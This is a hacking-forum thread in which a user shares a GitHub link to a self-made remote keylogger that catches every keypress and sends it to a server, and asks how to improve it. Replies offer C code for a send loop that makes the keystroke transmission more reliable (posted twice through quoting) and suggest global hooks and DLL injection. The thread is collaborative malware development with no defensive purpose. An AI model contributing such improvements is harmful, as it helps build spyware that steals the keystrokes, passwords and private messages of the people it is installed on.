Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

Simple Remote Keylogger Code

Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge
(Apr 10, 2019 03:14 PM)F.A.S.T Wrote:  Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge

https://github.com/Fahad-M/RootEdge/blob...ge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code
void send (const char * key) {
    int totalsent = 0;
    int buflen = strlen(key);
    while (buflen > totalsent){
        int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
        if (r < 0) return;
        totalsent += r;
    }
    return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.
(Apr 11, 2019 12:52 AM)dracx Wrote:  https://github.com/Fahad-M/RootEdge/blob...ge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code
void send (const char * key) {
   int totalsent = 0;
   int buflen = strlen(key);
   while (buflen > totalsent){
       int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
       if (r < 0) return;
       totalsent += r;
   }
   return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.
Thanks alot! I'll definitely be looking into this! Thanks!
(Apr 11, 2019 02:09 AM)F.A.S.T Wrote:  Thanks alot! I'll definitely be looking into this! Thanks!

np. glad I could help
What about hooking? Either local or global hooks would let you do dll injections and the like. Also, C++ when compiled is kind of big and maybe C would be better, but just a suggestion.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by I-GANK-IOct 28, 2017 02:19 PM 0 207 Oct 28, 2017 02:19 PM
Last Post: I-GANK-I
[.NET] by k@$fOct 21, 2012 01:28 PM 9 488 Oct 21, 2012 01:28 PM
Last Post: iVision
[C] by Amun-RaSep 22, 2011 08:18 AM 20 745 Sep 22, 2011 08:18 AM
Last Post: Dbof